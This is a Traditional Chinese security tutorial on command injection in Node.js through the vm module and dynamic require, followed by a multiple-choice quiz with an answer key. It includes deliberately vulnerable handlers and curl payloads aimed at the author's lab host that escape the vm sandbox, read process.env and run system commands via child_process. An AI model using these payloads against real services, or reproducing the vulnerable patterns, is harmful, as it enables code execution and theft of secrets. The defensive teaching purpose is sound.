在網站開發中,Command injection(指令注入)一直是一個嚴重的安全威脅。這種攻擊方式允許惡意使用者透過操縱應用程式的輸入,執行未經授權的系統指令。
雖然許多開發者都知道要謹慎處理使用者輸入,特別是在執行系統指令時,但在 Node.js 環境中,還存在一些不太明顯但同樣危險的注入風險。
本篇文章將聚焦於 Node.js 中兩個常被誤用的強大功能: vm 模組和 require 函數。
這兩個功能雖然設計初衷是為了提高應用程式的靈活性和功能性,但如果過度信任使用者輸入,它們可能成為 Command injection 的新途徑。
vm 模組旨在提供一個沙箱環境來執行 JavaScript 程式碼,理論上應該是隔離且安全的。然而,如果使用不當,攻擊者可能突破這個沙箱,執行惡意程式碼。
例如:
const vm = require ('vm');
const userInput = '... 惡意程式碼 ...';
vm.runInNewContext (userInput); // 潛在的安全風險
同樣,require 函數是 Node.js 模組系統的核心,但如果允許動態載入使用者指定的模組,也可能導致嚴重的安全問題:
const moduleName = '... 使用者輸入 ...';
require (moduleName); // 可能載入惡意模組
這兩個例子都展示了過度信任使用者輸入可能帶來的風險。攻擊者可能利用這些機制執行未經授權的程式碼,存取敏感資訊,甚至控制整個系統。
vm 模組是 Node.js 提供的一個核心模組,它允許在 V8 虛擬機的上下文中編譯和執行程式碼。其主要用途包括:
基本使用範例:
const vm = require ('vm');
const sandbox = { x: 1 };
vm.runInNewContext ('x += 1;', sandbox);
console.log (sandbox.x); // 輸出: 2
vm 模組的沙箱環境旨在提供一個隔離的執行環境,理論上可以防止不受信任的程式碼存取或修改主程式的狀態。
然而,這種隔離並非完全安全。
儘管 vm 模組提供了一定程度的隔離,但它並不能完全防止惡意程式碼的執行。攻擊者可能透過各種技術突破沙箱限制,存取 Node.js 進程的全域物件,甚至執行系統指令。
require 函數是 Node.js 模組系統的核心,用於載入和使用其他 JavaScript 模組。它的主要作用包括:
基本使用範例:
const fs = require ('fs');
const myModule = require ('./myModule');
動態載入模組可以提高應用程式的靈活性,允許根據執行時條件載入不同的模組。然而,如果不加限制地允許動態載入,可能導致安全風險,特別是當載入的模組路徑來自不可信的輸入時。
https://github.com/fei3363/ithelp_web_security_2024/commit/4bd369533c160cf92216e1ec60d0946d06a2c0fc
以下是一個存在 vm 沙箱穿越風險的程式碼範例:
const vm = require ('vm');
const brokenApi = {
runUserCode: function (req, res) {
const userInput = req.body.code;
const sandbox = { result: null };
try {
vm.runInNewContext (`result = ${userInput}`, sandbox);
res.json ({ result: sandbox.result });
} catch (error) {
res.status (500).json ({ error: error.message });
}
}
};
攻擊者可以利用以下 payload 來突破 vm 沙箱的限制:
curl -X POST http://nodelab.feifei.tw/api/broken/vm \
-H "Content-Type: application/json" \
-d '{"code": "this.constructor.constructor (\"return process.env\")()"}'
curl -X POST http://nodelab.feifei.tw/api/broken/vm \
-H "Content-Type: application/json" \
-d '{
"code": "(function (){try {const process=this.toString.constructor (\"return process\")();return process.mainModule.require (\"child_process\").execSync (\"ls\").toString ()} catch (e){return\"Error: \"+e.message}})()"
}'
這個攻擊利用了 JavaScript 的原型和函數構造器來存取 global 物件,進而取得 process 物件並執行系統指令。
以下是一個存在動態 require 風險的程式碼範例:
const brokenApi = {
dynamicRequire: function (req, res) {
const moduleName = req.body.module;
try {
const module = require (moduleName);
res.json ({ module: 'Module loaded successfully' });
} catch (error) {
res.status (500).json ({ error: error.message });
}
}
};
攻擊者可以利用這個功能載入任意模組,包括潛在的惡意模組或敏感的系統模組:
curl -X POST http://nodelab.feifei.tw/api/broken/require \
-H "Content-Type: application/json" \
-d '{"module": "fs"}'
這可能導致未經授權存取檔案系統或執行其他危險操作。
對於 vm 模組和 require 函數的誤用,我們可以採取以下防禦措施:
expr-eval
vm 模組和 require 函數雖然 powerful,但使用時需要格外謹慎。開發者應該充分了解這些功能的潛在風險,採取適當的安全措施,並在必要時尋求更安全的替代方案。在追求功能和靈活性的同時,安全性永遠應該是首要考慮的因素。
vm.runInNewContext
的主要用途是什麼?
A) 執行系統指令
B) 在隔離環境中執行程式碼
C) 動態載入模組
D) 解析 JSON
答案: B
解釋: vm.runInNewContext
的主要用途是在一個隔離的上下文中執行 JavaScript 程式碼,提供一定程度的安全性。
下面哪種做法最容易導致動態 require 的安全問題?
A) require ('./myModule')
B) require (path.join (__dirname, 'myModule'))
C) require (userInput)
D) require ('fs')
答案: C
解釋:直接使用使用者輸入作為 require
的參數是非常危險的,因為它允許載入任意模組,包括潛在的惡意模組。
使用 vm 模組執行不信任的程式碼時,以下哪種做法是不安全的?
A) 限制執行時間
B) 限制可用內存
C) 提供完整的 Node.js API 存取權限
D) 使用 vm2 替代原生 vm 模組
答案: C
解釋:為不信任的程式碼提供完整的 Node.js API 存取權限是極其危險的,可能導致惡意程式碼執行各種未授權的操作。
在使用 vm.runInNewContext
時,以下哪種做法可以提高安全性?
A) 增加程式碼執行的超時時間
B) 使用空物件作為沙箱環境
C) 在沙箱中提供 require
函數
D) 限制沙箱環境中可用的全域物件
答案: D
解釋:限制沙箱環境中可用的全局物件可以減少潛在的攻擊面,提高程式碼執行的安全性。提供最小必要的上下文是一種良好的安全實踐。
關於 require
函數,以下哪個陳述是正確的?
A) require
函數總是安全的,不需要額外的防護措施
B) 動態 require
應該被完全禁止使用
C) require
函數可以用來載入 JSON 檔案
D) require
函數只能用於載入 Node.js 內置模塊
答案: C
解釋: require
函數確實可以用來載入 JSON 檔案,這是它的一個合法用途。然而,require
並非總是安全的,動態 require
應該謹慎使用而非完全禁止,且 require
可以載入各種類型的模塊,不僅限於內置模塊。